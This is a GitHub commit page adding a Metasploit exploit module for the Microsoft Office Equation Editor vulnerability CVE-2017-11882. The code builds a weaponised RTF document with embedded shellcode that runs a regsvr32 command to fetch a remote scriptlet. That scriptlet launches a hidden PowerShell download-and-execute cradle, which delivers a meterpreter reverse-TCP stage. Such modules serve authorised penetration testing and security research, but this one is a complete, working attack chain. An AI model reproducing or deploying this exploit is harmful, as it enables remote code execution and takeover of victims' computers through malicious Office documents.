Skip to content

Commit 39a4d19

Browse files
author
Austin
authored
Create office_ms17_11882.rb
1 parent fcf2cfa commit 39a4d19

File tree

1 file changed

+210
-0
lines changed

1 file changed

+210
-0
lines changed

‎modules/exploits/windows/fileformat/office_ms17_11882.rb

Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ManualRanking
8+
9+
include Msf::Exploit::Remote::HttpServer
10+
include Msf::Exploit::Powershell
11+
include Msf::Exploit::EXE
12+
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft Office CVE-2017-11882',
17+
'Description' => %q{
18+
Module exploits a flaw in the Equation Editor, developed
19+
in 2000, that allowed any OLE object to execute in a separate
20+
address space. Compared to original PoC, allows for a command within
21+
a length of 109 bytes to be executed Affects Microsoft Office word for the latest
22+
17 years.
23+
},
24+
'Author' => ['mumbai', 'embedi', 'BlackMathIT'],
25+
'License' => MSF_LICENSE,
26+
'DisclosureDate' => 'Nov 15 2017',
27+
'References' => [
28+
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
29+
['URL', 'https://github.com/embedi/CVE-2017-11882'],
30+
['URL', 'https://github.com/BlackMathIT/2017-11882_Generator/blob/master/2017-11882_Generator.py']
31+
],
32+
'Platform' => 'win',
33+
'Arch' => [ARCH_X86, ARCH_X64],
34+
'Targets' => [
35+
['Automatic', {} ],
36+
],
37+
'DefaultTarget' => 0,
38+
'Payload' => {
39+
'DisableNops' => true
40+
},
41+
'DefaultOptions' => {
42+
'EXITFUNC' => 'thread',
43+
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
44+
}
45+
))
46+
47+
register_options([
48+
OptString.new("FILENAME", [true, "Filename to save as"])
49+
])
50+
end
51+
52+
53+
54+
def generate_rtf
55+
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
56+
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
57+
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
58+
header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
59+
header << '0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
60+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
61+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
62+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
63+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
64+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
65+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
66+
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
67+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
68+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
69+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
70+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
71+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
72+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
73+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
74+
header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e007400720079000000000000000000000000000000000000000000000000000000'
75+
header << '00000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020ce'
76+
header << 'a5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000'
77+
header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000'
78+
header << '000000000000001400000000000000010043006f006d0070004f0062006a0000000000000000000000000000000000000000000000000000000000000000000000'
79+
header << '0000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000'
80+
header << '0001000000660000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000'
81+
header << '00000000000000000000000012000201ffffffff04000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000003'
82+
header << '0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
83+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
84+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
85+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
86+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
87+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
88+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
89+
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
90+
header << 'ffffff0100000208000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
91+
header << '00000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
92+
header << '71756174696f6e000b0000004571756174696f6e2e3300f439b2710000000000000000000000000000000000000000000000000000000000000000000000000000'
93+
header << "00000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n"
94+
95+
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
96+
footer << '4500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000'
97+
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000400'
98+
footer << '0000C50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
99+
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000'
100+
footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
101+
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
102+
footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
103+
footer << '000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
104+
footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C'
105+
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C0000000000050000000902000000000500000002'
106+
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
107+
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
108+
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
109+
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
110+
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
111+
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
112+
footer << '00030000000000' + "\n"
113+
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
114+
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
115+
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
116+
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
117+
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
118+
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
119+
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
120+
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
121+
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
122+
footer << "00000000\n"
123+
footer << "}}}\n"
124+
footer << '\par}' + "\n"
125+
126+
shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
127+
shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53\x66\x83\xEE\x4C\xFF\x10"
128+
shellcode << "\x90\x90"
129+
130+
payload = shellcode
131+
payload += [0x00402114].pack("V")
132+
payload += "\x00" * 2
133+
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
134+
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
135+
payload = header + payload + footer
136+
137+
rtf = File.new(datastore['FILENAME'], 'w')
138+
rtf.write(payload)
139+
rtf.close
140+
rtf
141+
end
142+
143+
144+
145+
def gen_psh(url, *method)
146+
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
147+
148+
if method.include? 'string'
149+
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
150+
else
151+
# Random filename to use, if there isn't anything set
152+
random = "#{rand_text_alphanumeric 8}.exe"
153+
# Set filename (Use random filename if empty)
154+
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
155+
156+
# Set path (Use %TEMP% if empty)
157+
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
158+
159+
# Join Path and Filename
160+
file = %Q(echo (#{path}+'\\#{filename}'))
161+
162+
# Generate download PowerShell command
163+
download_string = Rex::Powershell::PshMethods.download_run(url, file)
164+
end
165+
166+
download_and_run = "#{ignore_cert}#{download_string}"
167+
168+
# Generate main PowerShell command
169+
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
170+
end
171+
172+
def on_request_uri(cli, _request)
173+
if _request.raw_uri =~ /\.sct$/
174+
print_status("Handling initial request from #{cli.peerhost}")
175+
payload = gen_psh("#{get_uri}", "string")
176+
data = gen_sct_file(payload)
177+
send_response(cli, data, 'Content-Type' => 'text/plain')
178+
else
179+
print_status("Stage two requested, sending...")
180+
p = regenerate_payload(cli)
181+
data = cmd_psh_payload(p.encoded,
182+
payload_instance.arch.first,
183+
remove_comspec: true,
184+
exec_in_place: true
185+
)
186+
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
187+
end
188+
end
189+
190+
191+
def rand_class_id
192+
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
193+
end
194+
195+
196+
def gen_sct_file(command)
197+
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
198+
if command == ''
199+
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
200+
# If a command is provided, tell the target system to execute it.
201+
else
202+
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
203+
end
204+
end
205+
206+
207+
def primer
208+
generate_rtf
209+
end
210+
end

0 commit comments

Comments
 (0)